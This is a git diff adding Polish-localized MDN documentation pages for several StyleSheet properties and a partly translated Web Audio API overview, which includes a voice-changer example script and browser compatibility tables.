b/files/pl/web/api/stylesheet/ownerrule/index.html new file mode 100644 index 0000000000..93d73c35c5 --- /dev/null +++ b/files/pl/web/api/stylesheet/ownerrule/index.html @@ -0,0 +1,24 @@ +--- +title: stylesheet.ownerRule +slug: Web/API/Stylesheet/ownerRule +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Jeżeli arkusz stylów pochodzi z reguły @import, własność <b>ownerRule</b> będzie zawierać regułę CSSImportRule.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>rule</i> = stylesheet.ownerRule +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>rule</code> jest łańcuchem zawierającym importowaną regułę w dokumencie HTML lub XML.</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zauważ, że jeżeli wartość własności <b>ownerNode</b> bieżącego elementu <a href="pl/STYLE">STYLE</a> wynosi NULL, wówczas reguła <b>ownerRule</b> zwróci !!TODO!!. I odwrotnie.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-ownerRule">ownerRule </a></p> +<p>{{ languages( { "en": "en/DOM/stylesheet.ownerRule" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/parentstylesheet/index.html b/files/pl/web/api/stylesheet/parentstylesheet/index.html new file mode 100644 index 0000000000..9d79c0197a --- /dev/null +++ b/files/pl/web/api/stylesheet/parentstylesheet/index.html @@ -0,0 +1,29 @@ +--- +title: stylesheet.parentStyleSheet +slug: Web/API/Stylesheet/parentStyleSheet +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/StyleSheet/parentStyleSheet +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca arkusz stylów, który włącza obecny arkusz (jeśli istnieje).</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>objRef</i> = stylesheet.parentStyleSheet +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">// znajdź arkusz stylów najwyższego poziomu +if (stylesheet.parentStyleSheet) { + sheet = stylesheet.parentStyleSheet; +} +else +{ sheet = stylesheet; } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Ta własność zwraca wartość NULL, jeśli obecny arkusz stylów jest arkuszem najwyższego poziomu lub jeśli włączanie arkuszy stylów nie jest obsługiwane.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-parentStyleSheet">parentStyleSheet </a></p> +<p>{{ languages( { "en": "en/DOM/stylesheet.parentStyleSheet" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/title/index.html b/files/pl/web/api/stylesheet/title/index.html new file mode 100644 index 0000000000..48353f2667 --- /dev/null +++ b/files/pl/web/api/stylesheet/title/index.html @@ -0,0 +1,18 @@ +--- +title: stylesheet.title +slug: Web/API/Stylesheet/title +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/StyleSheet/title +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>title</b> zwraca doradczy tytuł bieżącego arkusza stylów.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Tytuł jest często określany w <a href="pl/OwnerNode">ownerNode</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-title">title</a></p> +<p>{{ languages( { "en": "en/DOM/stylesheet.title" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/type/index.html b/files/pl/web/api/stylesheet/type/index.html new file mode 100644 index 0000000000..ea1892faa4 --- /dev/null +++ b/files/pl/web/api/stylesheet/type/index.html @@ -0,0 +1,22 @@ +--- +title: stylesheet.type +slug: Web/API/Stylesheet/type +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/StyleSheet/type +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>type określa język arkusza stylów dla tego arkusza stylów.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>string</i> = stylesheet.type +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> ss.type = "text/css"; +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-type">type</a></p> +<p>{{ languages( { "en": "en/DOM/stylesheet.type" } ) }}</p> diff --git a/files/pl/web/api/web_audio_api/index.html b/files/pl/web/api/web_audio_api/index.html new file mode 100644 index 0000000000..e67cec2fd6 --- /dev/null +++ b/files/pl/web/api/web_audio_api/index.html @@ -0,0 +1,503 @@ +--- +title: Web Audio API +slug: Web/API/Web_Audio_API +translation_of: Web/API/Web_Audio_API +--- +<div> +<p>Web Audio API to potężny i uniwersalny system webowej kontroli audio umożliwiający deweloperom wybór źródeł audio, dodawanie efektów do audio, tworzenie wizualizacji audio, stosowanie efektów przestrzennych (jak panorama) i wiele więcej.</p> +</div> + +<h2 id="Założenia_Web_Audio_i_jego_zastosowanie">Założenia Web Audio i jego zastosowanie</h2> + +<p>Web Audio API dotyczy przebiegu operacji audio wewnątrz kontekstu audio (audio context) i został zaprojektowany po to, by umożliwić obróbkę modularną (modular routing). Podstawowe operacje audio zostają wykonywane z węzłami audio (audio nodes), które złączone tworzą wykres trasowania audio (audio routing graph). Niektóre źródła - o różnych typach układów kanałów - są wspierane nawet w obrębie pojedynczego kontekstu. Modularny design cechuje się elastycznością umożliwiającą tworzenie złożonych funkcji audio z efektami dynamicznymi.</p> + +<p>Audio nodes are linked into chains and simple webs by their inputs and outputs. They typically start with one or more sources. Sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. These could be either computed mathematically (such as {{domxref("OscillatorNode")}}), or they can be recordings from sound/video files (like {{domxref("AudioBufferSourceNode")}} and {{domxref("MediaElementAudioSourceNode")}}) and audio streams ({{domxref("MediaStreamAudioSourceNode")}}). In fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave.</p> + +<p>Outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. A common modification is multiplying the samples by a value to make them louder or quieter (as is the case with {{domxref("GainNode")}}). Once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination ({{domxref("AudioContext.destination")}}), which sends the sound to the speakers or headphones. This last connection is only necessary if the user is supposed to hear the audio.</p> + +<p>A simple, typical workflow for web audio would look something like this:</p> + +<ol> + <li>Create audio context</li> + <li>Inside the context, create sources — such as <code><audio></code>, oscillator, stream</li> + <li>Create effects nodes, such as reverb, biquad filter, panner, compressor</li> + <li>Choose final destination of audio, for example your system speakers</li> + <li>Connect the sources up to the effects, and the effects to the destination.</li> +</ol> + +<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12241/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p> + +<p>Timing is controlled with high precision and low latency, allowing developers to write code that responds accurately to events and is able to target specific samples, even at a high sample rate. So applications such as drum machines and sequencers are well within reach.</p> + +<p>The Web Audio API also allows us to control how audio is <em>spatialized</em>. Using a system based on a <em>source-listener model</em>, it allows control of the <em>panning model</em> and deals with <em>distance-induced attenuation</em> or <em>doppler shift</em> induced by a moving source (or moving listener).</p> + +<div class="note"> +<p>You can read about the theory of the Web Audio API in a lot more detail in our article <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a>.</p> +</div> + +<h2 id="Web_Audio_API_Interfaces">Web Audio API Interfaces</h2> + +<p>The Web Audio API has a number of interfaces and associated events, which we have split up into nine categories of functionality.</p> + +<h3 id="General_audio_graph_definition">General audio graph definition</h3> + +<p>General containers and definitions that shape audio graphs in Web Audio API usage.</p> + +<dl> + <dt>{{domxref("AudioContext")}}</dt> + <dd>The <strong><code>AudioContext</code></strong> interface represents an audio-processing graph built from audio modules linked together, each represented by an {{domxref("AudioNode")}}. An audio context controls the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an <code>AudioContext</code> before you do anything else, as everything happens inside a context.</dd> + <dt>{{domxref("AudioNode")}}</dt> + <dd>The <strong><code>AudioNode</code></strong><strong> </strong>interface represents an audio-processing module like an <em>audio source</em> (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element), <em>audio destination</em>, <em>intermediate processing module</em> (e.g. a filter like {{domxref("BiquadFilterNode")}}, or <em>volume control</em> like {{domxref("GainNode")}}).</dd> + <dt>{{domxref("AudioParam")}}</dt> + <dd>The <strong><code>AudioParam</code></strong><strong> </strong>interface represents an audio-related parameter, like one of an {{domxref("AudioNode")}}. It can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</dd> + <dt>The {{event("ended")}} event</dt> + <dd>The <code>ended</code> event is fired when playback has stopped because the end of the media was reached.</dd> +</dl> + +<h3 id="Defining_audio_sources">Defining audio sources</h3> + +<p>Interfaces that define audio sources for use in the Web Audio API.</p> + +<dl> + <dt>{{domxref("OscillatorNode")}}</dt> + <dd>The <strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>interface represents a periodic waveform, such as a sine or triangle wave. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>frequency</em> of wave to be created.</dd> + <dt>{{domxref("AudioBuffer")}}</dt> + <dd>The <strong><code>AudioBuffer</code></strong> interface represents a short audio asset residing in memory, created from an audio file using the {{ domxref("AudioContext.decodeAudioData()") }} method, or created with raw data using {{ domxref("AudioContext.createBuffer()") }}. Once decoded into this form, the audio can then be put into an {{ domxref("AudioBufferSourceNode") }}.</dd> + <dt>{{domxref("AudioBufferSourceNode")}}</dt> + <dd>The <strong><code>AudioBufferSourceNode</code></strong> interface represents an audio source consisting of in-memory audio data, stored in an {{domxref("AudioBuffer")}}. It is an {{domxref("AudioNode")}} that acts as an audio source.</dd> + <dt>{{domxref("MediaElementAudioSourceNode")}}</dt> + <dd>The <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> interface represents an audio source consisting of an HTML5 {{ htmlelement("audio") }} or {{ htmlelement("video") }} element. It is an {{domxref("AudioNode")}} that acts as an audio source.</dd> + <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt> + <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> interface represents an audio source consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (such as a webcam, microphone, or a stream being sent from a remote computer). It is an {{domxref("AudioNode")}} that acts as an audio source.</dd> +</dl> + +<h3 id="Defining_audio_effects_filters">Defining audio effects filters</h3> + +<p>Interfaces for defining effects that you want to apply to your audio sources.</p> + +<dl> + <dt>{{domxref("BiquadFilterNode")}}</dt> + <dd>The <strong><code>BiquadFilterNode</code></strong><strong> </strong>interface represents a simple low-order filter. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, or graphic equalizers. A <code>BiquadFilterNode</code> always has exactly one input and one output.</dd> + <dt>{{domxref("ConvolverNode")}}</dt> + <dd>The <code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>interface is an <span style="line-height: 1.5;">{{domxref("AudioNode")}} that</span><span style="line-height: 1.5;"> performs a Linear Convolution on a given {{domxref("AudioBuffer")}}, and is often used to achieve a reverb effect</span><span style="line-height: 1.5;">.</span></dd> + <dt>{{domxref("DelayNode")}}</dt> + <dd>The <strong><code>DelayNode</code></strong><strong> </strong>interface represents a <a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>; an {{domxref("AudioNode")}} audio-processing module that causes a delay between the arrival of an input data and its propagation to the output.</dd> + <dt>{{domxref("DynamicsCompressorNode")}}</dt> + <dd>The <strong><code>DynamicsCompressorNode</code></strong> interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.</dd> + <dt>{{domxref("GainNode")}}</dt> + <dd>The <strong><code>GainNode</code></strong><strong> </strong>interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>gain</em> to be applied to the input data before its propagation to the output.</dd> + <dt>{{domxref("StereoPannerNode")}}</dt> + <dd>The <code><strong>StereoPannerNode</strong></code> interface represents a simple stereo panner node that can be used to pan an audio stream left or right.</dd> + <dt>{{domxref("WaveShaperNode")}}</dt> + <dd>The <strong><code>WaveShaperNode</code></strong><strong> </strong>interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.</dd> + <dt>{{domxref("PeriodicWave")}}</dt> + <dd>Describes a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.</dd> +</dl> + +<h3 id="Defining_audio_destinations">Defining audio destinations</h3> + +<p>Once you are done processing your audio, these interfaces define where to output it.</p> + +<dl> + <dt>{{domxref("AudioDestinationNode")}}</dt> + <dd>The <strong><code>AudioDestinationNode</code></strong> interface represents the end destination of an audio source in a given context — usually the speakers of your device.</dd> + <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt> + <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> interface represents an audio destination consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} with a single <code>AudioMediaStreamTrack</code>, which can be used in a similar way to a {{domxref("MediaStream")}} obtained from {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.</dd> +</dl> + +<h3 id="Data_analysis_and_visualization">Data analysis and visualization</h3> + +<p>If you want to extract time, frequency, and other data from your audio, the <code>AnalyserNode</code> is what you need.</p> + +<dl> + <dt>{{domxref("AnalyserNode")}}</dt> + <dd>The <strong><code>AnalyserNode</code></strong> interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.</dd> +</dl> + +<h3 id="Splitting_and_merging_audio_channels">Splitting and merging audio channels</h3> + +<p>To split and merge audio channels, you'll use these interfaces.</p> + +<dl> + <dt>{{domxref("ChannelSplitterNode")}}</dt> + <dd>The <code><strong>ChannelSplitterNode</strong></code> interface separates the different channels of an audio source out into a set of <em>mono</em> outputs.</dd> + <dt>{{domxref("ChannelMergerNode")}}</dt> + <dd>The <code><strong>ChannelMergerNode</strong></code> interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.</dd> +</dl> + +<h3 id="Audio_spatialization">Audio spatialization</h3> + +<p>These interfaces allow you to add audio spatialization panning effects to your audio sources.</p> + +<dl> + <dt>{{domxref("AudioListener")}}</dt> + <dd>The <strong><code>AudioListener</code></strong><strong> </strong>interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.</dd> + <dt>{{domxref("PannerNode")}}</dt> + <dd>The <strong><code>PannerNode</code></strong><strong> </strong>interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.</dd> +</dl> + +<h3 id="Audio_processing_in_JavaScript">Audio processing in JavaScript</h3> + +<p>You can write JavaScript code to process audio data. To do so, you use the interfaces and events listed below.</p> + +<div class="note"> +<p>As of the August 29, 2014 version of the Web Audio API spec. these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.</p> +</div> + +<dl> + <dt>{{domxref("ScriptProcessorNode")}}</dt> + <dd>The <strong><code>ScriptProcessorNode</code></strong><strong> </strong>interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.</dd> + <dt>{{event("audioprocess")}} (event)</dt> + <dd>The <code>audioprocess</code> event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.</dd> + <dt>{{domxref("AudioProcessingEvent")}}</dt> + <dd>The <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <code>AudioProcessingEvent</code> represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.</dd> +</dl> + +<h3 id="Offlinebackground_audio_processing">Offline/background audio processing</h3> + +<p>It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.</p> + +<dl> + <dt>{{domxref("OfflineAudioContext")}}</dt> + <dd>The <strong><code>OfflineAudioContext</code></strong> interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard <code>AudioContext</code>, an <code>OfflineAudioContext</code> doesn't really render the audio but rather generates it, <em>as fast as it can</em>, in a buffer.</dd> + <dt>{{event("complete")}} (event)</dt> + <dd>The <code>complete</code> event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.</dd> + <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt> + <dd>The <code>OfflineAudioCompletionEvent</code> represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.</dd> +</dl> + +<h3 id="Audio_Workers" name="Audio_Workers">Audio Workers</h3> + +<p>Audio workers provide the ability for direct scripted audio processing to be done inside a <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> context, and are defined by a couple of interfaces (new as of 29th August 2014). These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the <a href="#Audio_processing_via_JavaScript">Audio processing in JavaScript</a> section above.</p> + +<dl> + <dt>{{domxref("AudioWorkerNode")}}</dt> + <dd>The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.</dd> + <dt>{{domxref("AudioWorkerGlobalScope")}}</dt> + <dd>The <code>AudioWorkerGlobalScope</code> interface is a <code>DedicatedWorkerGlobalScope</code>-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.</dd> + <dt>{{domxref("AudioProcessEvent")}}</dt> + <dd>This is an <code>Event</code> object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.</dd> +</dl> + +<h2 id="Example" name="Example">Obsolete interfaces</h2> + +<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p> + +<dl> + <dt>{{domxref("JavaScriptNode")}}</dt> + <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd> + <dt>{{domxref("WaveTableNode")}}</dt> + <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd> +</dl> + +<h2 id="Example" name="Example">Example</h2> + +<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p> + +<p>The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.</p> + +<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context +// Webkit/blink browsers need prefix, Safari won't work without window. + +var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options +var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options +var mute = document.querySelector('.mute'); // mute button +var drawVisual; // requestAnimationFrame + +var analyser = audioCtx.createAnalyser(); +var distortion = audioCtx.createWaveShaper(); +var gainNode = audioCtx.createGain(); +var biquadFilter = audioCtx.createBiquadFilter(); + +function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use + var k = typeof amount === 'number' ? amount : 50, + n_samples = 44100, + curve = new Float32Array(n_samples), + deg = Math.PI / 180, + i = 0, + x; + for ( ; i < n_samples; ++i ) { + x = i * 2 / n_samples - 1; + curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) ); + } + return curve; +}; + +navigator.getUserMedia ( + // constraints - only audio needed for this app + { + audio: true + }, + + // Success callback + function(stream) { + source = audioCtx.createMediaStreamSource(stream); + source.connect(analyser); + analyser.connect(distortion); + distortion.connect(biquadFilter); + biquadFilter.connect(gainNode); + gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together + + visualize(stream); + voiceChange(); + + }, + + // Error callback + function(err) { + console.log('The following gUM error occured: ' + err); + } +); + +function visualize(stream) { + WIDTH = canvas.width; + HEIGHT = canvas.height; + + var visualSetting = visualSelect.value; + console.log(visualSetting); + + if(visualSetting == "sinewave") { + analyser.fftSize = 2048; + var bufferLength = analyser.frequencyBinCount; // half the FFT value + var dataArray = new Uint8Array(bufferLength); // create an array to store the data + + canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); + + function draw() { + + drawVisual = requestAnimationFrame(draw); + + analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above + + canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas + canvasCtx.fillRect(0, 0, WIDTH, HEIGHT); + + canvasCtx.lineWidth = 2; + canvasCtx.strokeStyle = 'rgb(0, 0, 0)'; + + canvasCtx.beginPath(); + + var sliceWidth = WIDTH * 1.0 / bufferLength; + var x = 0; + + for(var i = 0; i < bufferLength; i++) { + + var v = dataArray[i] / 128.0; + var y = v * HEIGHT/2; + + if(i === 0) { + canvasCtx.moveTo(x, y); + } else { + canvasCtx.lineTo(x, y); + } + + x += sliceWidth; + } + + canvasCtx.lineTo(canvas.width, canvas.height/2); + canvasCtx.stroke(); + }; + + draw(); + + } else if(visualSetting == "off") { + canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); + canvasCtx.fillStyle = "red"; + canvasCtx.fillRect(0, 0, WIDTH, HEIGHT); + } + +} + +function voiceChange() { + distortion.curve = new Float32Array; + biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run + + var voiceSetting = voiceSelect.value; + console.log(voiceSetting); + + if(voiceSetting == "distortion") { + distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node + } else if(voiceSetting == "biquad") { + biquadFilter.type = "lowshelf"; + biquadFilter.frequency.value = 1000; + biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad + } else if(voiceSetting == "off") { + console.log("Voice settings turned off"); // do nothing, as off option was chosen + } + +} + +// event listeners to change visualize and voice settings + +visualSelect.onchange = function() { + window.cancelAnimationFrame(drawVisual); + visualize(stream); +} + +voiceSelect.onchange = function() { + voiceChange(); +} + +mute.onclick = voiceMute; + +function voiceMute() { // toggle to mute and unmute sound + if(mute.id == "") { + gainNode.gain.value = 0; // gain set to 0 to mute sound + mute.id = "activated"; + mute.innerHTML = "Unmute"; + } else { + gainNode.gain.value = 1; // gain set to 1 to unmute sound + mute.id = ""; + mute.innerHTML = "Mute"; + } +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>14 {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>23</td> + <td>{{CompatNo}}</td> + <td>15 {{property_prefix("webkit")}}<br> + 22 (unprefixed)</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>28 {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>25</td> + <td>1.2</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li> + <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li> + <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li> + <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li> + <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li> + <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li> + <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li> + <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li> +</ul> + +<section id="Quick_Links"> +<h3 id="Quicklinks">Quicklinks</h3> + +<ol> + <li data-default-state="open"><strong><a href="#">Guides</a></strong> + + <ol> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a></li> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li> + </ol> + </li> + <li data-default-state="open"><strong><a href="#">Examples</a></strong> + <ol> + <li><a href="/en-US/docs/Web/API/Web_Audio_API/Simple_synth">Simple synth keyboard</a></li> + <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li> + <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li> + </ol> + </li> + <li data-default-state="open"><strong><a href="#">Interfaces</a></strong> + <ol> + <li>{{domxref("AnalyserNode")}}</li> + <li>{{domxref("AudioBuffer")}}</li> + <li>{{domxref("AudioBufferSourceNode")}}</li> + <li>{{domxref("AudioContext")}}</li> + <li>{{domxref("AudioDestinationNode")}}</li> + <li>{{domxref("AudioListener")}}</li> + <li>{{domxref("AudioNode")}}</li> + <li>{{domxref("AudioParam")}}</li> + <li>{{event("audioprocess")}} (event)</li> + <li>{{domxref("AudioProcessingEvent")}}</li> + <li>{{domxref("BiquadFilterNode")}}</li> + <li>{{domxref("ChannelMergerNode")}}</li> + <li>{{domxref("ChannelSplitterNode")}}</li> + <li>{{event("complete")}} (event)</li> + <li>{{domxref("ConvolverNode")}}</li> + <li>{{domxref("DelayNode")}}</li> + 